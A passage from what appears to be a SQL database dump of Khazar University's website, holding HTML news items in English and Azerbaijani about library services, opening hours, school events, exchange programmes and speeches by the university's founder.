style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><h3>Free trial access to polpred.com resources has been obtained by library-information center</h3><p style=\"text-align:justify\">The Library-Information Center of Khazar University has gained a free trial access to Polpred.com resources from September 5, 2018 to October 15, 2019.   <br></p><p style=\"text-align:justify\">Polpred.com is the largest archive of Russia\'s major business publications. Thousands of news items are placed on the website every day.   <br></p><p style=\"text-align:justify\">To access Polpred go to <a href=\"https://polpred.com/news\">www.polpred.com</a>.</p><p><a href=\"https://polpred.com/news\"><img src=\"/files/library/polpred11.jpg\" style=\"width:250px;height:149px;margin-left:7px;margin-top:7px;float:left\"></a><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3 style=\"text-align:left\">Welcome&nbsp;to Agape&nbsp;University Library and&nbsp;Information Resources&nbsp;(LIRN) Network<br></h3><p style=\"text-align:justify\">Accessing&nbsp;LIRNPortal  <br></p><p style=\"text-align:justify\">Find scholarly ebooks in multiple subjects from world-renowned publishers.</p><p style=\"text-align:justify\">To access your LIRN subscription go to: <a href=\"https://proxy.lirn.net/AgapeUniv\">https://proxy.lirn.net/AgapeUniv&nbsp;</a></p><p style=\"text-align:justify\">If you have questions regarding the trial or would like to give us feedback, please contact to the library staff.&nbsp;</p><p><br></p><p><br></p><h3>ANNOUNCEMENT</h3><p style=\"text-align:justify\">Khazar University Library and Information Center is looking for volunteers who have the time, dedication and enthusiasm to help library staff. If you are committed, hardworking, reliable and culturally sensitive, then you are exactly who we are looking for.  <br></p><p style=\"text-align:justify\">The criteria for Volunteers are:  <br></p><p style=\"text-align:justify\">1.You should be 3 or 4 level students  <br></p><p style=\"text-align:justify\">2.You should know English language and have a good knowledge of computer skills.  <br></p><p style=\"text-align:justify\">We are waiting for you at the KU LIC !!!  <br></p><p style=\"text-align:justify\">“JOIN US. TOGETHER WE CREATE THE LIBRARY FUTURE!”  <br></p><p style=\"text-align:justify\"><br></p><p><br></p><h3><a href=\"http://www.khazar.org/en/news/article/3233\">Discussion held on the topic “Why do modern readers prefer psychological and motivational books?”</a></h3><p style=\"text-align:justify\">On May 18, 2018, Library and Information Center of Khazar University held a discussion on the topic “Why do modern readers prefer psychological and motivational books?” within the project “Let’s read together”.</p><p style=\"text-align:justify\">Esmira Huseynova, an associate of Library and Information Center, opened the meeting. Psychologist Leyla Gasimova, a Khazar University graduate, also participated in the discussion. Students took an active part in the discussion and expressed interesting opinions.</p><p style=\"text-align:justify\">Similar events were requested to be held in the future.</p><p style=\"text-align:justify\"><br></p><h3>Training for Students</h3> <p style=\"text-align:justify\">On April 24, 2018, Aytaj Misgarli and Samira Orujova, staff members of Library and Information Centre of Khazar University, held a training on “How to use electronic resources” for the students of the School of Humanities and Social Sciences. Students received broad information on access to information resources, effective search methods and new services at the library.  <br></p><p style=\"text-align:justify\"><br></p><h3>Participation in ANKOSLink-2018 conference</h3> <p style=\"text-align:justify\">On April 17-20, 2018, Aytaj Misgarli, Director of Library and Information Center of Khazar University, participated in ANKOSLink - 2018 conference held in Antalya. ANKOS is a Library and Information Consortium providing University libraries with e-resources.  <br></p><p style=\"text-align:justify\">More than 500 participants from 20 countries took part in the conference. The topic of the conference for this year was “Library – a door to research”. The aim of the conference was to discuss the importance of the libraries for researches during intense competition among universities. Librarians from various countries exchanged views throughout the conference and touched key topics regarding librarians. Moreover, participants discussed changing roles of academic libraries as well as commitments and challenges of libraries in XXI century.  <br></p><p style=\"text-align:justify\">At the end of the conference the participants held a meeting to discuss opportunities to build relations with libraries of Azerbaijan.  <br></p><p style=\"text-align:justify\"><br></p><h3>“Let’s read together” project implemented</h3> <p style=\"text-align:justify\">On March 16, 2018, Library and Information Center of Khazar University hosted an event entitled “Let’s read together”. Esmira Huseynova, representative of Library and Information Center, delivered an opening speech talking about reading culture.  <br></p><p style=\"text-align:justify\">Speakers talked about the most favorite genres in modern times. Active members of Library and Information Center participated at the workshop with great interest, and mentioned that these kinds of activities contribute to their reading culture. The Center is planning to regularly conduct such kind of workshops.  <br></p><p style=\"text-align:justify\">Active members were presented with certificates by Library and Information Center.  <br></p><h3>“Let’s Read Together” Project by LIC</h3><p style=\"text-align:justify\">A promotional workshop will be held by Khazar University Library Information Center within “Let’s read together” project, at 16:00, on March 16, 2018. The aim of the project is to increase students’ interest in reading and instill reading culture into them.&nbsp;</p><p style=\"text-align:justify\"><br></p>'),(4963,2896,'az','Qalereya','Qalereya',''),(4964,2896,'en','Gallery','Gallery',''),(4965,2897,'az','İş Qrafiki','İş Qrafiki','<p><strong>Neftçilər korpusu kitabxanası:</strong></p><p><strong>(Bakı, Məhsəti küç. 41, AZ 1096, Azərbaycan)</strong></p><p><strong>Tel:</strong><strong>&nbsp;(+99412) 421-79-16&nbsp;(263)</strong></p><p>Bazar ertəsi-Cümə: 08.30-19.30</p><p>Şənbə:&nbsp;09.00-15.00</p><p>Bazar: istirahət günü</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>MBA kitabxanası:</strong></p><p><strong></strong><strong>(Bakı, Bəşir Səfəroğlu küç. 122, AZ1009, Azərbaycan)&nbsp;</strong></p><p><strong></strong><strong>Tel: (+99412) 596-21-14 (263)</strong></p><p><strong></strong>Bazar ertəsi-Cümə: 09.00-19.30</p><p>Şənbə: 09.00-17.00</p><p>Bazar: istirahət günü  <br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Dünya məktəbi kitabxanası:</strong></p><p><strong></strong><strong>(Bakı, 8-ci MKR, Əcəmi Naxçıvani küçəsi 9,&nbsp; AZ 1130, Azərbaycan)&nbsp;</strong></p><p><strong></strong><strong>Tel: (+99412) 563-59-48</strong></p><p><strong></strong>Bazar ertəsi-Cümə:&nbsp; 09.00-17.00</p><p>Şənbə və bazar: istirahət günü  <br></p>'),(4966,2897,'en','Opening Hours','Opening Hours','<p style=\"font-weight:bold\">Neftchilar Campus Library:</p><p style=\"font-weight:bold\">(41 Mehseti St, Baku, AZ1096,&nbsp;Azerbaijan)</p><p style=\"font-weight:bold\"><strong>Phone:&nbsp; (</strong><strong>+</strong><strong>99412) 421-79-16 (263)</strong></p><p>Monday – Friday -&nbsp;08.30&nbsp;-&nbsp;19.30</p><p>Saturday - 09.00 - 15.00</p><p>Sunday - closed</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>MBA Library:</strong></p><p><strong></strong><strong>(Downtown Campus, 122 Bashir Safaroglu St, Baku, AZ1009, Azerbaijan)&nbsp;</strong></p><p><strong>Phone: (+99412) 596-21-14</strong></p><p><strong></strong>Monday – Friday - 09.00 - 19.30</p><p>Saturday - 09.00 - 17.00</p><p>Sunday -&nbsp; closed</p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>The “Dunya” School Library:</strong></p><p><strong></strong><strong>(8-th MKR, Acami Nakhcivani St 9,Baku, AZ1130, Azerbaijan)&nbsp;</strong></p><p><strong></strong><strong>Phone: (+99412) 563-59-48</strong></p><p><strong></strong>Monday – Friday - 09.00 - 17.00</p><p>Saturday and &nbsp;Sunday - closed<br>   </p>'),(5148,2992,'az','“Dünya” məktəbində professor Hamlet İsaxanlı ilə görüş','2018-ci il fevralın 23-də “Dünya” məktəbinin “İnciçiçəyi” salonunda Xəzər Universitetinin təsisçisi...','<p>2018-ci il fevralın 23-də “Dünya” məktəbinin “İnciçiçəyi” salonunda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə görüş keçirildi. Zəngin proqramlı ədəbi-bədii kompozisiyadan ibarət tədbirdə “Dünya” məktəbinin müəllimləri və valideynlər, Xəzər Universitetinin əməkdaşları, ölkənin görkəmli elm, ədəbiyyat və incəsənət xadimləri, dövlət nümayəndələri, xarici olkələrin Azərbaycandakı səfirliklərinin əməkdaşları və digər qonaqlar iştirak edirdilər.</p><p>Tədbirdən əvvəl iştirakçılar və qonaqlar məktəbin foyesində məktəbin rəssamı Mir Rafiq Əbdülrəhimovun rəhbərliyi ilə hazırlanmış sərgi ilə tanış oldular. Sərgidə professor Hamlet İsaxanlının elmi və bədii kitabları, məqalələri çap olunmuş xarici jurnallar, ölkədə və xaricdə fəaliyyətinə aid fotoşəkillər nümayiş etdirilirdi.</p><p>Aparıcıları “Dünya” məktəbinin müəllimləri – Arzu Ömərova, Elşad Rzayev və Gülnar Əliyeva olan tədbir “Yaranış” adlı mətn-fonoqramla başlandı.</p><p>Qeyd edək ki, ədəbi-bədii kompozisiyaya daxil edilmiş şeirlər, xanəndə və müğənnilər tərəfindən ifa olunmuş mahnıların sözləri şair Hamlet İsaxanlıya məxsus idi.</p><p>Xəzər Universitetinin, “Dünya” məktəbinin və Avrasiya Akademiyasının yaranmasını əks etdirən slayd-şoular, film fraqmentləri, “İnciçiçəyi” filmindən süjetlər professor Hamlet İsaxanlının həyat və yaradıcılığının müxtəlif məqamlarını, “Dünya” məktəbinin həmtəsisçisi, Xəzər Universiteti Direktorlar və Qəyyumlar Şurası sədrinin müşaviri Nailəxanım İsayevanın professorun bütün təhsil quruçuluğu fəaliyyətində onunla yanaşı addımladığını əks etdirirdi.</p><p>Tədbirdə şairin “Ana” şeiri məktəbin əməkdaşı Afaq Qəmbərovanın, “İkimizdən birimiz” şeiri Afaq Qəmbərova və məktəbin əməkdaşı Murad Allahverdinin, “Çiçəkli çəmən” qəzəli məktəbin müəllimi Mədinə Karahanın, “Uşaqlığımda qalan buludlar”, “Bu bir həyatdır”, “Bu dünyaya nə gətirdim” şeirləri və “Ziyarət” poemasından parçalar isə aparıcıların ifasında səsləndi.</p><p>Əməkdar artist Fərqanə Qasımova “Rübai” (bəstəkar Fərqanə Qasımova, musiqi tərtibatı Fərahim Qulubəyov), İrandan xüsusu olaraq bu tədbirə dəvət olunmuş məşhur xanəndə Vədud Müəzzinzadə “Yaşamağa nə var ki” şeirini muğam təsnifində, xalq artisti Gülyanaq Məmmədova “Nə yaxşı ki” (bəstəkar əməkdar artist Nailə Mirməmmədli), əməkdar artist Manana Caparidze “Külək və qız” (bəstəkar Nailəxanım İsayeva), xalq artisti Azər Zeynalov “Mənə ayrılan vaxt” (bəstəkar Tahir Əkbər) mahnılarını ifa etdilər. Xalq artisti Alim Qasımovun ifasında “Nə olaydı” adlı mahnı-süjetin (bəstəkar Alim Qasımov, musiqi tərtibatı Fərahim Qulubəyov) video-klipi təqdim olundu.</p><p>Məktəbin rəqs müəllimləri - əməkdar artist Emin Əliyev və Səbinə İsmayılova, Xəzər Universitetinin qızlardan ibarət rəqs ansamblı tədbirdə çıxış etdilər.</p><p>“Dünya” məktəbinin şagirdləri Ayla Qarayeva və Hakan İsaxanlı hazırladıqları etüd-kompozisiyanı nümayiş etdirdilər.</p><p>Səhnədəki çıxışları royalda əməkdar incəsənət xadimi, bəstəkar Nailə Mirməmmədli, “Dünya” məktəbinin müəllimi bəstəkar Sevda İbrahimova və digər sənətçilər müşayiət edirdilər</p><p>Xalq artisti Alim Qasımov, şair Ramiz Rövşən, AMEA-nın müxbir üzvü, “Zadə İrsi və Süni İntellekt” Assosiasiyasının prezidenti Rafiq Əliyev, xalq artisti rejissor Ramiz Həsənoğlu Hamlet İsaxanlıya gül dəstələri təqdim edərək, səmimi təbriklərini çatdırdılar.</p><p>Tədbirdə AMEA-nın Mexanika və Riyaziyyat İnstitutunun direktoru Misir Mərdanov, Binəqədi Rayon İcra Hakimiyyəti başçısının müavini Aygün Əliyeva, AMEA-nın həqiqi üzvü, Yusif Məmmədəliyev adına Neft-Kimya Prosesləri İnstitutunun direktoru Vaqif Abbasov çıxış etdilər.</p><p>Çıxışlarda professor Hamlet İsaxanlı görkəmli təhsil təçkilatçısı – Azərbaycanda ilk özəl universitet olan, dünya universitetləri reytinqində yüksək yer tutan Xəzər Universitetinin və “Dünya” məktəbinin qurucusu, Azərbaycanın hüdudlarından kənarda da tanınan riyaziyyatçı alim, nümunəvi ziyalı və şəxsiyyət, ictimai xadim kimi səciyyələndirildi.</p><p>Tədbirin layihə rəhbəri məktəbin direktoru Mərufə Mədətli, ssenari müəllifi məktəbin İctimai əlaqələr və media üzrə koordinatoru Afaq Qəmbərova, rejissoru məktəbin bədii rəhbəri Murad Allahverdi və quruluşçu rəssamı Mir Rafiq Əbdülrəhimov idi.</p><p>Tədbir iştirakçılar və qonaqlar tərəfindən çox yüksək qiymətləndirildi.</p>'),(4967,2898,'en','Prof. Hamlet Isakhanli delivered a speech at a scientific-practical seminar','A scientific-practical seminar, with participation of prestigious universities of Turkey and Azerbaijan, was held...','<p>A scientific-practical seminar, with participation of prestigious universities of Turkey and Azerbaijan, was held at UNEC on February 6, 2018. The topic of the seminar was “Fake science and academic ethic: modern challenges and development of new institutions”. At the seminar, Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, talked about the importance of transition of higher education institutions into research-centered universities as well as importance of creating a scientific environment and academic freedom at universities for the researches to meet international standards.</p><p>Links for further information:</p><p><a href=\"http://inform.az/index.php?newsid=27704\">http://inform.az/index.php?newsid=27704</a>;</p><p><a href=\"https://metbuat.az/news/891452/istanbul-universitetinin-professoru-unec-in-akademik-etikasi.html\">https://metbuat.az/news/891452/istanbul-universitetinin-professoru-unec-in-akademik-etikasi.html</a>;</p><p><a href=\"https://az.trend.az/azerbaijan/society/2857517.html\">https://az.trend.az/azerbaijan/society/2857517.html</a>;</p><p><a href=\"http://olay.az/xeber/11671/istanbul-universitetinin-professoru--unec-in-akademik-etikas\">http://olay.az/xeber/11671/istanbul-universitetinin-professoru--unec-in-akademik-etikas</a>;</p><p><a href=\"http://www.xebersaati.com/news/179904-professor-of-istanbul-university-the-academic-ethics-of-unec-should-be-studied/\">http://www.xebersaati.com/news/179904-professor-of-istanbul-university-the-academic-ethics-of-unec-should-be-studied/</a>;</p><p><a href=\"http://www.moderator.az/news/211710.html\">http://www.moderator.az/news/211710.html</a>;</p><p><a href=\"http://tehsil-press.az/index.php?newsid=26754\">http://tehsil-press.az/index.php?newsid=26754</a>;</p><p><a href=\"http://www.gununsesi.info/unec-in-akademik-etikasi-oyr%C9%99nilm%C9%99lidir/\">http://www.gununsesi.info/unec-in-akademik-etikasi-oyrənilməlidir/</a>;</p><p><a href=\"https://paralel.az/article/az/35815-%C4%B0stanbul+Universitetinin+professoru%3A+%E2%80%9CUNEC-in+akademik+etikas%C4%B1+%C3%B6yr%C9%99nilm%C9%99lidir%E2%80%9D+.html\">https://paralel.az/article/az/35815-İstanbul+Universitetinin+professoru%3A+“UNEC-in+akademik+etikası+öyrənilməlidir”+.html</a>;</p><p><a href=\"http://www.adalet.az/w143248/%C4%B0stanbul_Universitetinin_professoru:_%E2%80%9CUNEC-in_akademik_etikas%C4%B1_%C3%B6yr%C9%99nilm%C9%99lidir%E2%80%9D_/\">http://www.adalet.az/w143248/%C4%B0stanbul_Universitetinin_professoru:_“UNEC-in_akademik_etikası_öyrənilməlidir”_/</a>;</p><p><a href=\"http://cia.az/news-view/86082-Istanbul-Universitetinin-professoru-UNEC-in-akademik-etikasi-oyrenilmelidir\">http://cia.az/news-view/86082-Istanbul-Universitetinin-professoru-UNEC-in-akademik-etikasi-oyrenilmelidir</a>.</p>'),(4968,2898,'az','Professor Hamlet İsaxanlı elmi-praktiki seminarda çıxış etdi','2018-ci il fevralın 6-da UNEC-də Türkiyənin və Azərbaycanın nüfuzlu universitetlərinin təmsil olunduğu elmi-praktiki seminar keçirildi...','<p>2018-ci il fevralın 6-da UNEC-də Türkiyənin və Azərbaycanın nüfuzlu universitetlərinin təmsil olunduğu elmi-praktiki seminar keçirildi. “Feyk elmi və akademik etika: müasir çağırışlar və yeni institutların inkişafı” mövzusuna həsr olunan seminarda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ali məktəblərin tədqiqatyönümlü universitetlərə çevrilməsinin əhəmiyyətindən, tədqiqatların beynəlxalq standartlara cavab verməsində akademik sərbəstlik və elmi mühit yaradılmasının vacibliyindən danışdı.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"http://inform.az/index.php?newsid=27704\">http://inform.az/index.php?newsid=27704</a>;</p><p><a href=\"https://metbuat.az/news/891452/istanbul-universitetinin-professoru-unec-in-akademik-etikasi.html\">https://metbuat.az/news/891452/istanbul-universitetinin-professoru-unec-in-akademik-etikasi.html</a>;</p><p><a href=\"https://az.trend.az/azerbaijan/society/2857517.html\">https://az.trend.az/azerbaijan/society/2857517.html</a>;</p><p><a href=\"http://olay.az/xeber/11671/istanbul-universitetinin-professoru--unec-in-akademik-etikas\">http://olay.az/xeber/11671/istanbul-universitetinin-professoru--unec-in-akademik-etikas</a>;</p><p><a href=\"http://www.xebersaati.com/news/179904-professor-of-istanbul-university-the-academic-ethics-of-unec-should-be-studied/\">http://www.xebersaati.com/news/179904-professor-of-istanbul-university-the-academic-ethics-of-unec-should-be-studied/</a>;</p><p><a href=\"http://www.moderator.az/news/211710.html\">http://www.moderator.az/news/211710.html</a>;</p><p><a href=\"http://tehsil-press.az/index.php?newsid=26754\">http://tehsil-press.az/index.php?newsid=26754</a>;</p><p><a href=\"http://www.gununsesi.info/unec-in-akademik-etikasi-oyrənilməlidir/\">http://www.gununsesi.info/unec-in-akademik-etikasi-oyrənilməlidir/</a>;</p><p><a href=\"https://paralel.az/article/az/35815-İstanbul+Universitetinin+professoru%3A+“UNEC-in+akademik+etikası+öyrənilməlidir”+.html\">https://paralel.az/article/az/35815-İstanbul+Universitetinin+professoru%3A+“UNEC-in+akademik+etikası+öyrənilməlidir”+.html</a>;</p><p><a href=\"http://www.adalet.az/w143248/%C4%B0stanbul_Universitetinin_professoru:_“UNEC-in_akademik_etikası_öyrənilməlidir”_/\">http://www.adalet.az/w143248/%C4%B0stanbul_Universitetinin_professoru:_“UNEC-in_akademik_etikası_öyrənilməlidir”_/</a>;</p><p><a href=\"http://cia.az/news-view/86082-Istanbul-Universitetinin-professoru-UNEC-in-akademik-etikasi-oyrenilmelidir\">http://cia.az/news-view/86082-Istanbul-Universitetinin-professoru-UNEC-in-akademik-etikasi-oyrenilmelidir</a>.</p>'),(5996,3424,'en','Deputy Director of “Dunya” school awarded at the I Education Forum of Primary Teachers','On the occasion of the beginning of a new academic year and as a support for the State Strategy...','<p>On the occasion of the beginning of a new academic year and as a support for the State Strategy on Development of Education in the Republic of Azerbaijan, the I Education Forum of Primary Teachers was held on September 8. On the initiative of \"Çinar Yayımları”, the Forum was organized by Executive Power of Nasimi District, Modern Innovation Lyceum and PROAKTİV company. Primary and pre-primary teachers, as well as leading experts, attended the Forum.</p><p>As a token of gratitude to teachers with high expertise, the Organization Committee declared the establishment of an award named after Nasib bey Yusifbeyli, the first ministry of education of independent Azerbaijan, and presented 3 teachers with an award.</p><p>Jamila Asgarova, Deputy Director for Primary Education of “Dunya” school, was presented with Nasib bey Yusifbeyli award for being a co-author of Math textbooks of state primary education and for her hard work and dedication to developing new coursebooks based on the new curriculum.</p>'),(4982,2905,'en','Professor Hamlet Isakhanli Presented Guba Carpet to TSU’s 100th Year Anniversary','GAXA – Georgian Azerbaijanis’ news agency took an interview from the founder of Khazar University, Chair of its Board of Directors...','<p><strong><em><a href=\"http://gaxa.ge\">GAXA</a></em></strong> – Georgian Azerbaijanis’ news agency took an interview from the founder of Khazar University, Chair of its Board of Directors and Trustees, Professor Hamlet Isakhanli participating in the ceremonial meetings dedicated to 100<sup>th</sup> Anniversary of Tbilisi State University.</p><p>The Founder of Khazar University of Azerbaijan, Chair of its Board of Directors and Trustees, Professor Hamlet Isakhanli presented a Guba carpet on the occasion of&nbsp;Ivane Javakhishli Tbilisi State University’s 100<sup>th</sup> Anniversary. According to GAXA’s correspondent in Tbilisi, within the framework of events on TSU’s 100<sup>th</sup> year anniversary, H. Isakhanli met with the president of Georgia, Georgi Margvelashvili, as well as would be meeting with Prime Minister Giorgi Kvirikashvili and the Mayor of Tbilisi, Kakha Kaladze. According to him, the President expressed warm words on behalf of Khazar University.</p><p>In an interview to GAXA, Prof. Isakhanli told that today he had met with the Georgian Minister for Science and Education Mikhail Chkhenkeli and expressed his views on the Georgian Azerbaijanis’ current problems in education and assured that he would do his utmost to solve them: “at the meeting with the Minister I asked him to consider the educational problems of Georgian Azerbaijanis. I assured that as Khazar University, we can help with whatever is needed. For instance, I suggested to organize training courses to teachers and school directors. I informed the minister about Training Center operating under Ministry of Education in Azerbaijan. He really appreciated my suggestion and we decided to cooperate further”, mentioned H.Isakhanli.</p><p>H. Isakhanli said that today the Azerbaijani delegation participated in the 100<sup>th</sup> anniversary of TSU and he was given a speech at the official opening of the Jubilee: “I am very pleased to be here at TSU solemn Jubilee. The delegation from Azerbaijan also came to the Jubilee. Representatives of Azerbaijan National Academy of Sciences, Baku State University and Khazar University, scientists and professors were invited. Pro-rector for Academic Affairs of Baku State University, Irada Aliyeva, Head of its International Department, Gulheyran Rahimova and me as Khazar University representative attend the University’s 100<sup>th</sup> Jubilee. Speaking at the official opening of the Jubilee, I talked about Azerbaijan-Georgia friendly relationships, the Azerbaijanis living in the country and the importance of our relations, as well as the culture and science of Georgia. I have not come for the Jubilee without a present. I have exclusively weaved a carpet similar to the Guba carpet exhibited in the Louvre museum and brought it to the Ivane Javakhishvili Tbilisi State University’s 100<sup>th</sup> Anniversary. On the carpet, it’s written in English: “On the occasion of 100<sup>th</sup> anniversary of Ivane Javakhishvili Tbilisi State University. Baku. Azerbaijan. A present from Khazar University”. I presented the carpet to the Rector of the University, which caused the applause of the Jubilee participants”, H.Isakhanli said.</p><p>H. Isakhanli commented on the GAXA.ge site operating in Georgia: “I was very glad and even a little surprised to hear that a news agency of Georgian Azerbaijanis was created (GAXA) in Georgia. This world is based on information. If you have good information, you can achieve success, if not, we are like blind, do not see the way to go. The abundance of information is very important. Therefore, you need to study the experience of other news agencies and work hard to improve the agency you have founded”, Prof. Isakhanli underlined.</p>'),(6065,3460,'en','Khazar University Development Retreat','On September 29, 2018, Khazar University Development Retreat was held at the newly established Khazar University...','<p>On September 29, 2018, Khazar University Development Retreat was held at the newly established Khazar University Conference and Leisure Center in Buzovna district with the participation of representatives of all schools, centres of Khazar University as well as Dunya School. Students of some departments also attended as volunteer members to present their co-created ideas. The retreat targeted to discuss and generate new creative ideas for development of the university and, particularly, for organizing Summer and Winter Schools.</p><p>The Development Retreat started with the presentation by Professor Hamlet Isakhanli’s&nbsp;speech on Challenges and Opportunities of Khazar University. In his presentation, he spoke about the challenges and perspectives of the university and set those issues as strategic orientation for the next academic year. The speech was followed by a workshop to generate the new ideas and during the three consecutive sessions different ideas were presented by the teams and departments.</p><p>Later, lively discussions were carried out on Summer/Winter schools to be opened at Khazar University. All departments put&nbsp;forward&nbsp;their ideas and suggestions on the topic.</p><p>The second session dedicated to New Project Ideas and New Founding Opportunities was moderated by Dr. Irada Khalilova, Vice Rector for Research of Khazar University. In her presentation she thoroughly introduced new grant, fellowship and research opportunities for different departments of the University.&nbsp;</p><p>A full-day retreat was designed in a way that students and staff members could enjoy, relax and reflect on the discussed topics. Khazar Conference and Leisure Center in Buzovna is an ideal place to enjoy nature and get energy for creative job.</p>'),(4983,2906,'en','Mevlana Exchange Programme is NOW OPEN','Mevlana Exchange Programme is NOW OPEN...','<p>Dear Students and Staff,  <br></p><p>Mevlana Exchange Program between Khazar University and Turkish Universities in the 2018-2019&nbsp;academic year for both students and lecturers is now open. Interested applicants should submit their applications to the <strong>International Affairs Office</strong>&nbsp;between&nbsp;February 15-21,&nbsp;2018.&nbsp;</p><p>Follow the link below for more information about the eligibility criteria and download required documents:</p><p><a href=\"http://www.khazar.org/en/menus/492/mevlana_exchange_programme\" target=\"_blank\" rel=\"noopener noreferrer\">http://www.khazar.org/en/menus/492/mevlana_exchange_programme</a>&nbsp;</p><p><strong>DEADLINE:&nbsp;February 21, 2018 (17:00)</strong></p>'),(4984,2906,'az','Mevlana Mübadilə Proqramı AÇILDI','Mevlana Mübadilə Proqramı AÇILDI...','<p>Hörmətli tələbələr və həmkarlar,&nbsp;</p><p>2018-2019-cu tədris ili üçün Xəzər Universiteti və Türkiyə Universitetləri arasında nəzərdə tutulan Mevlana Mübadilə Proqramı elan olunub. Maraqlanan tələbə və müəllimlər 15-21&nbsp;fevral 2018-ci il tarixləri arasında öz ərizələrini <strong>Beynəlxalq Əlaqələr Şöbəsinə</strong> təqdim etməlidirlər.  <br></p><p>Qəbul şərtləri ilə tanış olmaq və tələb olunan sənədləri yükləmək üçün proqramın səhifəsinə keçin:  </p><p><a href=\"http://www.khazar.org/az/menus/492/mevlana_exchange_programme\" target=\"_blank\" rel=\"noopener noreferrer\">http://www.khazar.org/az/menus/492/mevlana_exchange_programme</a>&nbsp;</p><p><strong>SON MÜRACİƏT TARİXİ:&nbsp;17:00, 21 Fevral, 2018-ci il</strong></p>'),(4992,2910,'az','Gələcək Tədbirlər','Gələcək Tədbirlər','<h2>CALL FOR APPLICATIONS: NATURAL RESOURCE DECISION CHAIN</h2><p><em>Baku, Azerbaijan</em></p><p><em>March 29 - April 5</em></p><p>The Eurasia EI Knowledge Hub is announcing training course on “Natural Resource Governance Decision Chain” planned for March 29- April 05 in Baku, Azerbaijan. The ultimate goal of the course is to deliver skills and knowledge to government officials, parliamentary staff, CSOs, academia and media representatives that will help them to explore most effective scenarios for transforming extractive wealth into sustained prosperity.</p>\r\n<p>Based on the Natural Resource Charter, this decision chain course helps participants to understand the linkages between extractive sector transparency, accountability and management issues as an integrated system.</p><p>Participants of the course will be actively engaged in in-depth analysis and practical implementation scenarios associated with three components: domestic foundations for resource governance; the chain of economic decisions required to manage resources for prosperity; and the international foundations for resource governance.</p><p>The course will cover following topics:</p><ul><li>Exploration and license allocation</li><li>Taxation</li><li>Local effects from extractive operations</li><li>State Owned Enterprises</li><li>Managing volatile revenues</li><li>Government spending and investing for sustainable development</li></ul><p>The Course will be delivered by the trainers of Natural Resource Governance Institute and Eurasia Hub. Simultaneous translation English/Russian will be provided.</p><p>The course is open (with coverage of all expenses) for officials, academicians, CSO and mass media representatives of Mongolia, Azerbaijan, Kazakhstan, Kyrgyzstan, Ukraine and Tajikistan.</p><p>Representatives of international organizations, foundations, companies and individuals can also apply paying a course fee. The fee is $1450, excluding airfare. Applicants willing to participate in the training program, should complete and send application form in the&nbsp;<a href=\"https://goo.gl/forms/ouPBCDvfiJUe8i1A3\">link</a>&nbsp;not later than February 20, 2018. For more information, please contact <strong><em>Nazaket Azimli</em></strong> at&nbsp;<a href=\"http://mailto:nazaket.a@eurasia-hub.com\">nazaket.a@eurasia-hub.com</a>  <a href=\"http://mailto:nazaket.a@eurasia-hub.com\"></a></p>'),(5998,3425,'en','Chair of Knowledge Foundation visits “Dunya” school','On September 17, 2018, Chairman of the Knowledge Foundation under the President of the Republic...','<p>On September 17, 2018, Chairman of the Knowledge Foundation under the President of the Republic of Azerbaijan, Assoc. Prof. Ogtay Samadov, PhD in Pedagogy, had a meeting at “Dunya” school.</p><p>Ogtay Samadov delivered a speech on the topic “The Azerbaijan Democratic Republic – Leader of our Statehood” at the meeting attended by the school administration, teachers and senior pupils. He stressed the importance of developing human capital in Azerbaijan and underlined that it is important to increase the number of citizens in the 21<sup>st</sup> century who are skillful and loyal to their national values and country. O.Samadov said: “Human capital is an important phenomenon for a rich and productive society.” Moreover, he emphasized the importance of “lifelong learning”.</p><p>Talking about the Azerbaijan Democratic Republic, O.Samadov mentioned the contribution of the Democratic Republic to modern Azerbaijan. Stressing the fact that our country is based on ancient statehood traditions, he added that in the background of undesirable events happening in the world we need to develop through knowledge and quality education.</p><p>O. Samadov mentioned that Knowledge Foundation aims directly at enlightening people, and added that it should be our high priority to use modern technology along with reading books and strengthening relations with scholars and educators.</p><p>O. Samadov stressed the importance of conducting such meetings more often especially in an intense modern life with information whirlpool.</p><p>At the end of his speech, O.Samadov expressed his satisfaction with the conditions created for a better educational environment at “Dunya” school.</p>'),(4993,2911,'az','Məlumat Bazaları','Məlumat Bazaları','<p><img src=\"/files/library/EBSCOhost.jpg\" style=\"vertical-align:baseline;width:200px;height:100px\"><br></p><p style=\"text-align:justify\"><a href=\"http://search.ebscohost.com/\">EBSCO</a><strong>&nbsp;-</strong>&nbsp;Tədqiqat üçün nəzərdə tutulmuş tam mətnli və biblioqrafik məlumat bazalarını təklif edir.</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"text-align:left\"><img src=\"/files/library/npg-logo.jpg\" style=\"vertical-align:baseline;width:350px;height:66px;margin:7px\"></p><p style=\"text-align:justify\"><a href=\"http://www.nature.com/npg_/index_npg.html\" style=\"text-align:justify\">Nature Publishing Group</a><span style=\"text-align:justify\">&nbsp;(NPG) is an international </span><a href=\"http://en.wikipedia.org/wiki/Publishing\" style=\"text-align:justify\">publishing</a><span style=\"text-align:justify\"> company that publishes </span><a href=\"http://en.wikipedia.org/wiki/Academic_journal\" style=\"text-align:justify\">academic journals</a><span style=\"text-align:justify\">, </span><a title=\"Magazine\" href=\"http://en.wikipedia.org/wiki/Magazine\" style=\"text-align:justify\">magazines</a><span style=\"text-align:justify\">,&nbsp;online databases, and services in science and medicine. NPG\'s flagship publication is </span><em style=\"text-align:justify\"><a title=\"Nature (journal)\" href=\"http://en.wikipedia.org/wiki/Nature_(journal)\">Nature</a></em><span style=\"text-align:justify\">, a prestigious weekly&nbsp;</span><a title=\"Discipline (specialism)\" href=\"http://en.wikipedia.org/wiki/Discipline_(specialism)#Multidisciplinary\" style=\"text-align:justify\">multidisciplinary</a><span style=\"text-align:justify\">  first published in 1869. It also publishes Nature research journals, Nature Reviews journals (since 2000), and </span><a title=\"Learned society\" 